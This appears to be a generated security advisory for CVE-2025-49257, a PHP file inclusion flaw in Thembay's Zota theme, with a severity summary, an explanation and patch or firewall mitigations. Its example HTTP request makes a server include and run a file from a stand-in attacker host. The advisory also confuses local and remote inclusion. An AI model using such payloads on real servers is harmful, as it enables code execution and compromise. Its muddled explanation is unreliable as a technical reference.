Overview
The CVE-2025-49257 vulnerability poses a significant risk to any system utilizing Thembay’s Zota up to version 1.3.8. This vulnerability arises from an Improper Control of Filename for Include/Require Statement in PHP Program, which essentially allows PHP Local File Inclusion – a serious security flaw that could pave the way for unauthorized system access or data leakage. It’s of critical importance that those affected understand and address this vulnerability promptly to prevent potential system compromise.
Vulnerability Summary
CVE ID: CVE-2025-49257
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Zota by Thembay | Up to 1.3.8
How the Exploit Works
This exploit works by manipulating the filename in a PHP include/require statement. An attacker can remotely include a file from a different server, leading to local file inclusion. This means that the attacker can execute arbitrary PHP code on the server, potentially leading to system compromise or data leakage.
Conceptual Example Code
Below is a simplified, conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious HTTP request that includes a remote file:
GET /index.php?page=http://malicious.example.com/malicious_file.txt HTTP/1.1
Host: vulnerable.example.comIn this example, the attacker has manipulated the `page` parameter to include a remote file from “malicious.example.com. When this request is processed by the server, the malicious code within ‘malicious_file.txt’ is executed.
Mitigation
The primary mitigation for this vulnerability is to apply a patch provided by the vendor. If a patch is not immediately available or cannot be applied right away, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy. These can be configured to detect and block attempts to exploit this vulnerability.
Remember, prompt action is essential in preventing potential system compromise or data leakage. Regularly updating your systems and applications, alongside utilising robust cybersecurity measures, is key to maintaining a secure network environment.